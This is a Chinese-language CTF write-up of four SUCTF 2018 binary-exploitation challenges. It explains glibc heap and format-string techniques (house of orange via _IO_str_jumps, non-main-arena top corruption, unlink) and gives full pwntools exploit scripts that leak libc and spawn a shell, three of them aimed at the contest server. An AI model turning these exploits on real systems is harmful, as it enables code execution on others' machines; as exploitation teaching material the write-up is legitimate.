SUCTF 2018部分PWN题复现

写论文已经两周了orz,今天终于写完了… SUCTF完全靠大佬们带飞,躺进XCTF联赛决赛圈了..

note

note这题也是被大佬们秒的比较多的题目了,我个人觉得这次PWN出的还是挺好的。

题目分析

题目有添加、显示、潘多拉魔盒(?)函数:

add:

show:

pandora box:

可以看出add函数最多可以申请10次(用处不大?),起初初始化程序时申请了两个连续的0x88的块,在pandora box函数中释放,程序不存在修改操作。

漏洞利用

漏洞十分明显,在add函数中,对申请堆块的输入使用scanf(“%s”,(&ptr)[i],显然存在一个堆溢出漏洞,并且对堆块也没有释放操作。看上去让人容易联想起House of orange,其实也是(…)

题目给的库是libc 2.24的,也就是说必须使用_IO_str_jump的方法利用了。

简单的House of orange我曾经发过一篇原理在看雪论坛上,一起食用风味更佳:从BookWriter看house_of_orange原理【新手向】

具体house of orange的手法是用unsorted bin attack将_IO_list_all覆写成unsorted bin 头节点(libc bss段上的main_arena + 88),此时在出错时最终会调用_IO_flush_all函数,具体是程序会从_IO_list_all中取出保存的_IO_FILE_plus指针以虚表的形式调用_IO_flush_all函数。可攻击的点在于_IO_list_all是一个文件指针单链表,当一个指针不满足时会继续执行下一个指针,可以将指针控制到我们可以控制的堆块中(通过修改size),最终伪造_IO_FILE_plus指针内容,劫持控制流。

在libc 2.24中,增加的对_IO_FILE_plus中的虚表进行检查,不允许将虚表指向意外的地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

这时,大佬们考虑将虚表指向一个libc已存在的虚表,这样可以绕过检查了,由于虚表里指针调用的函数偏移不同,将虚表劫持后,会执行另一个虚表的其他函数,这个虚表被劫持为_IO_str_jumps,当执行想_IO_flush_all,实际上执行了_IO_str_overflow函数,在这个函数中当可以绕过一些判断时,可以执行一个新的函数, new_buf = (char ) (((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); 这个函数同样是相对调用调用,fp时我们可以控制的内存,其内存参数可以通过size计算得到。

可以看到需要满足的条件时:

  1. pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)
  1. new_size < old_blen
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);

_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}

if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
libc_hidden_def (_IO_str_overflow)
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)

参考simp1e师傅之前关于Hctf-babyprintf题目的利用 , 可以对参数进行构造:

2 * old_blen + 100 = addr of “/bin/sh”

old_blen = (fp)->_IO_buf_end - (fp)->_IO_buf_base

构造 (fp)->_IO_buf_end =( addr of “/bin/sh” - 100) /2

(fp)->_IO_buf_base = 0 即可

至于如何构造unsorted bin attack可以通过申请堆块,释放原有的堆块,申请小堆块,溢出写来得到,具体exp如下:

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

#SUCTF{Me1z1jiu_say_s0rry_LOL}
context.log_level='debug'
debug=0
if debug:
p = process('./note')
libc=ELF('./libc.so')
else :
libc = ELF('./libc6_2.24-12ubuntu1_amd64.so')
p = remote('pwn.suctf.asuri.org',20003)
p.recvuntil('Welcome Homura Note Book! ')

def add(size,content):
p.recvuntil('Choice>>')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Content:')
p.sendline(content)
def show(index):
p.recvuntil('Choice>>')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))
def dele():
p.recvuntil('Choice>>')
p.sendline('3')
p.recvuntil('(yes:1)')
p.sendline('1')


add(16,'1'*16)#2

#leak system address
dele()
show(0)
p.recvuntil('Content:')
libc_addr = u64(p.recv(6)+'\x00\x00')
offset = 0x7f1b15e2ab78-0x7f1b15a66000
libc_base = libc_addr - 88 - 0x10 - libc.symbols['__malloc_hook']
sys_addr = libc_base+libc.symbols['system']
malloc_hook = libc_base+libc.symbols['__malloc_hook']
io_list_all = libc_base+libc.symbols['_IO_list_all']
binsh_addr = libc_base+next(libc.search('/bin/sh'))
log.info('sys_addr:%#x' %sys_addr)

#fake chunk
fake_chunk = p64(0x8002)+p64(0x61) #header
fake_chunk += p64(0xddaa)+p64(io_list_all-0x10)
fake_chunk += p64(0x2)+p64(0xffffffffffffff) + p64(0)*2 +p64((binsh_addr-0x64)/2)
fake_chunk = fake_chunk.ljust(0xa0,'\x00')
fake_chunk += p64(sys_addr+0x420)
fake_chunk = fake_chunk.ljust(0xc0,'\x00')
fake_chunk += p64(0)

vtable_addr = malloc_hook-13872#+libc.symbols['_IO_str_jumps']
payload = 'a'*16 +fake_chunk
payload += p64(0)
payload += p64(0)
payload += p64(vtable_addr)
payload += p64(sys_addr)
payload += p64(2)
payload += p64(3)
payload += p64(0)*3 # vtable
payload += p64(sys_addr)
add(16,payload)#3
#gdb.attach(p)
p.recvuntil('Choice>>')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(0x200))

p.interactive()

noend

这道题涉及的主要是非主分配区的分配方式,相关知识、代码分析和调试方法在之前的N1CTF PWN题记录 中提到过。

漏洞分析

漏洞存在于main函数中,对于malloc得到的指针,没有检验是否为0,就对size-1的位置写一个0,可以造成一字节的内存任意写

1
2
3
buf = malloc(size);
read(0, buf, size);
*((_BYTE *)buf + size - 1) = 0;

但是想要malloc返回为0,需要申请一个巨大的内存块大小,使得正常的main_arena无法处理,在_libc_malloc中有该部分的函数逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void *
__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;

void *(*hook) (size_t, const void *)
= atomic_forced_read (__malloc_hook);
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0));

arena_get (ar_ptr, bytes);

victim = _int_malloc (ar_ptr, bytes);
/* Retry with another arena only if we were able to find a usable arena
before. */
if (!victim && ar_ptr != NULL)
{
LIBC_PROBE (memory_malloc_retry, 1, bytes);
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}

if (ar_ptr != NULL)
(void) mutex_unlock (&ar_ptr->mutex);

assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
ar_ptr == arena_for_chunk (mem2chunk (victim)));
return victim;
}
libc_hidden_def (__libc_malloc)

可以看到,在主分配区返回为空时,会初始化一个非主分配区,即ar_ptr = arena_get_retry (ar_ptr, bytes); ,而在此后,均会使用该非主分配区,而assert断言是在debug模式下起作用的,所以当两个分配区都无法处理时,就会返回一个空指针,造成任意写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
arena_get_retry (mstate ar_ptr, size_t bytes)
{
LIBC_PROBE (memory_arena_retry, 2, bytes, ar_ptr);
if (ar_ptr != &main_arena)
{
(void) mutex_unlock (&ar_ptr->mutex);
/* Don't touch the main arena if it is corrupt. */
if (arena_is_corrupt (&main_arena))
return NULL;

ar_ptr = &main_arena;
(void) mutex_lock (&ar_ptr->mutex);
}
else
{
(void) mutex_unlock (&ar_ptr->mutex);
ar_ptr = arena_get2 (bytes, ar_ptr);
}

return ar_ptr;
}

漏洞利用

漏洞利用分为地址泄露和地址劫持两部分。

地址泄露

在主分配区和非主分配区里,其实质上的内存分配方式是一样的。由于题目限制,申请内存小于等于0x7f时都会释放,而大于时不会释放。

可以首先分配多个不同大小的fastbin大小的块,会释放并挂到fastbin链中去,再申请一个大块(大于0x78,小于等于0x7f),此时,这个块获取的应该为0x90大小,而释放时会与top合并。合并之后,会触发malloc_consolidate,触发后,fastbin中的较小的堆块由于不和top相连,因此会放到unsorted_bin中一次,最后全部合并后与top合并,造成,top中有部分包含main_arena+88或thread_arena+88的地址,可以再次分配回来造成地址泄露。

劫持执行流

在非主分配区中,同样利用内存任意写,对threadarena中保存的top末位地址写0,可使top错位,其中size会落到可以控制的堆块地址中,可通过构造size大小使得可以分配到libc的地址中,劫持\_free_hook为system。具体方法是将堆块分配到__free_hook之前,通过top的性质,将被误作为下一块size的__free_hook写为system+1的地址(需要构造提到的top size),虽然是system+1,但对整体没有影响。因为system的前五条指令是:

1
2
3
4
5
6
pwndbg> x /5i system
0x7fdf2f15c6a0 <__libc_system>: test rdi,rdi
0x7fdf2f15c6a3 <__libc_system+3>: je 0x7fdf2f15c6b0 <__libc_system+16>
0x7fdf2f15c6a5 <__libc_system+5>: jmp 0x7fdf2f15c130 <do_system>
0x7fdf2f15c6aa <__libc_system+10>: nop WORD PTR [rax+rax*1+0x0]
0x7fdf2f15c6b0 <__libc_system+16>: lea rdi,[rip+0x145591] # 0x7fdf2f2a1c48

system+1的前五条指令是:

1
2
3
4
5
6
pwndbg> x /5i system+1
0x7fdf2f15c6a1 <__libc_system+1>: test edi,edi
0x7fdf2f15c6a3 <__libc_system+3>: je 0x7fdf2f15c6b0 <__libc_system+16>
0x7fdf2f15c6a5 <__libc_system+5>: jmp 0x7fdf2f15c130 <do_system>
0x7fdf2f15c6aa <__libc_system+10>: nop WORD PTR [rax+rax*1+0x0]
0x7fdf2f15c6b0 <__libc_system+16>: lea rdi,[rip+0x145591] # 0x7fdf2f2a1c48

可以发现并没有执行上的影响,再次申请一个小堆块(小于0x50),并在其中写上’/bin/sh\0’就可以拿到shell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#coding:utf-8
from ctypes import *
from pwn import *
import time
debug=1
elf = ELF('./noend')
if debug:
p= process('./noend')
context.log_level = 'debug'
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
gdb.attach(p,'c')

else:
exit(0)

def build(size,content):
p.sendline(str(size))
time.sleep(0.2)
p.send(content)
k = p.recvline()
return k
build(0x28,'1'*8)
build(0x38,'2'*8)
build(0x7f,'a'*8)
k = build(0x38,'d'*8) #泄露地址
libc.address = u64(k[8:8+8]) - 0x10 - 88 -libc.symbols['__malloc_hook']
print '[+] system : ',hex(libc.symbols['system'])
p.sendline((str( 0x10 + 87 + libc.symbols['__malloc_hook']))) # 切换到非主分配区
time.sleep(0.3)
build(0x38,'A'*8)
p.clean()
build(0x28,'1'*8)
build(0x48,'2'*8)
build(0x7f,'a'*8)
k = build(0x38,'d'*8)
thread_arena_addr_top = u64(k[8:8+8])#泄露非主分配区地址
print '[+] thread_arena_addr : ',hex(thread_arena_addr_top)
target = libc.symbols['system']
build(0xf0,p64(target + (libc.symbols['__free_hook'] - thread_arena_addr_top +0x70-0x900 ) )*(0xf0/8))#布置fake top size
p.sendline(str(thread_arena_addr_top+1))#对thread_arena中的top值写末尾一字节
time.sleep(0.3)
p.sendline()
p.recvline()
p.clean()
time.sleep(1)
build(libc.symbols['__free_hook']-(thread_arena_addr_top-0x78+0x900)-0x18,p64(libc.symbols['system']))#将__free_hook劫持为system+1
build(0x10,'/bin/sh\0')#free后拿到shell
p.interactive()

tip

对于非主分配区程序的调试,我找到一种相对于简单的方法。

首先利用vmmap指令,找到非主分配区的mmap块位置:

红框中标记的是堆和非主分配区的地址,二者应该是一样大的。

当找到非主分配区地址后,根据libc源码,其中第一块申请的应该是_heap_info结构体,因此,可以看到该结构体内容:

而在该结构体内,其中第一个成员ar_ptr指向的就是非主分配区的arena结构体,与main_arena的结构体是一致的。

注意,在一个thread_arena中仅有一个malloc_state结构体,位于第一个申请的内存块中。

lock2

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#!/usr/bin/env python
# coding=utf-8

from pwn import *
import itertools
import string
import os

def pwn(offset):
# context.log_level = 'DEBUG'
p = remote('pwn.suctf.asuri.org', 20001)

p.recvuntil('password')
p.sendline('123456')

def leak_format(start, length):
out = ''
for i in range(start, start + length):
out += '-%%%d$p' % i
return out

# for i in range(20):
# p.recvuntil('cmd:')
# format_string = leak_format(2 + 4*i, 4)
# p.sendline(format_string)
# print p.recvline()
def run_cmd(p, cmd):
p.recvuntil('cmd:')
p.sendline(cmd)

def leak_stack(p, index):
p.recvuntil('cmd:')
p.sendline("%%%d$pAAA" % index)
p.recvuntil('cmd:')
return int(p.recvuntil('AAA', drop=True), 16)

def leak_mem(p, addr):
buf = '%7$s' + '=--=' + p64(addr) + 'bb'
run_cmd(p, buf)
p.recvuntil('cmd:')
return p.recvuntil('=--=', drop=True)

def write_mem(p, addr, value):
if value != 0:
buf = ('%%%dc%%7$hn' % value).ljust(8, '=') + p64(addr) + 'bb'
else:
buf = '%%7$hn'.ljust(8, '=') + p64(addr) + 'bb'

run_cmd(p, buf)
p.recvuntil('cmd:')


def get_codebase(p):
code_base = leak_stack(p, 16) & (~0xfff)

while True:
print hex(code_base)
data = leak_mem(p, code_base)
if 'ELF' in data:
print data
break
else:
code_base -= 0x1000

print 'code_base is ' + hex(code_base)
return code_base

def dumpmem(offset, length):
p = remote('pwn.suctf.asuri.org', 20001)
p.recvuntil('password')
p.sendline('123456')

code_base = get_codebase(p)

dump = ''
addr = code_base + offset
count = 0

while len(dump) < length:
count += 1
if '\x0a' in p64(addr):
print 'bad addr', hex(addr)
addr += 1
dump += '\x00'

data = leak_mem(p, addr)
data += '\x00'
dump += data
addr += len(data)

print hex(addr)
if count % 200 == 0:
print dump.encode('hex')

p.close()
return dump

def dumpelf():
for i in range(12):
dumpfile = 'dump%02d' % i
if os.path.exists(dumpfile):
print 'dumpfile %s exists' % dumpfile
continue

size = 0x400
dump = dumpmem(i*size, size)[:size]

print 'dump length is ', len(dump)
open(dumpfile, 'wb').write(dump)

# dumpelf()
# for i in range(2, 20):
# try:
# print i, hex(leak_stack(i))
# except Exception as e:
# print e

canary = leak_stack(p, 15)
print 'canary is ', hex(canary)


p.recvuntil('K ')
addr = int(p.recvuntil('--', drop=True), 16)
def write_byte(byte):
for i in range(8):
if byte >> i == 0:
break
bit = (byte >> i) & 1
write_mem(p, addr + i*4, bit)

# for i in range(34, 256):
# print i
# write_byte(i)
# print p.recvline_contains('lock')

write_byte(35)
p.recvuntil('Box:')
func_flag = int(p.recvline().strip('\n'), 16)
print 'func_addr is ', hex(func_flag)
p.recvuntil('name:')
p.sendline('aaaaaaaaaa')
# p.sendline('a'*offset + p64(canary) + p64(func_addr))
p.recvuntil('want?')
p.sendline('b'*0x1A + p64(canary)*2 + p64(func_flag)*10)
p.interactive()

for i in range(1):
pwn(i)

heap

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
context.log_level='debug'
debug = 0

free_got=0x602018
ptr=0x6020c0
if debug:
p = process('./offbyone')
libc = ELF('./libc.so')
else:
p= remote('pwn.suctf.asuri.org',20004)
libc = ELF('./libc-2.23.so')

def add(size,data):
p.recvuntil('4:edit\n')
p.sendline('1')
p.recvuntil('input len\n')
p.sendline(str(size))
p.recvuntil('input your data\n')
p.send(data)
def dele(index):
p.recvuntil('4:edit\n')
p.sendline('2')
p.recvuntil('input id\n')
p.send(str(index))
def show(index):
p.recvuntil('4:edit\n')
p.sendline('3')
p.recvuntil('input id\n')
p.send(str(index))
def edit(index,data):
p.recvuntil('4:edit\n')
p.sendline('4')
p.recvuntil('input id\n')
p.sendline(str(index))
p.recvuntil('input your data\n')
p.send(data)

add(136,'hack by 0gur1'.ljust(136,'a'))#0
add(128,'hack by 0gur2'.ljust(128,'b'))#1
add(128,'/bin/sh')#2
add(128,'/bin/sh')#3
add(128,'hack by 0gur1'.ljust(128,'d'))#4
add(136,'hack by 0gur1'.ljust(136,'e'))#5
add(128,'hack by 0gur1'.ljust(128,'f'))#6
add(128,'hack by 0gur1'.ljust(128,'g'))#7


fake_chunk = 'a'*8+p64(0x81) +p64(ptr+40-24)+p64(ptr+40-16)
payload= fake_chunk
payload= payload.ljust(0x80,'a')
payload+=p64(0x80)
payload+='\x90'


edit(5,payload)

dele(6)

edit(5,'\x18\x20\x60')
#gdb.attach(p)
show(2)
free_addr = u64(p.recv(6)+'\x00\x00')
sys_addr = free_addr-(libc.symbols['free']-libc.symbols['system'])
log.info('sys_addr:%#x' %sys_addr)
#gdb.attach(p)
edit(2,p64(sys_addr))
dele(3)

p.interactive()
文章目录
  1. 1. note
    1. 1.1. 题目分析
    2. 1.2. 漏洞利用
    3. 1.3. EXP
  2. 2. noend
    1. 2.1. 漏洞分析
    2. 2.2. 漏洞利用
      1. 2.2.1. 地址泄露
      2. 2.2.2. 劫持执行流
    3. 2.3. EXP
    4. 2.4. tip
  3. 3. lock2
    1. 3.1. EXP
  4. 4. heap
    1. 4.1. EXP
|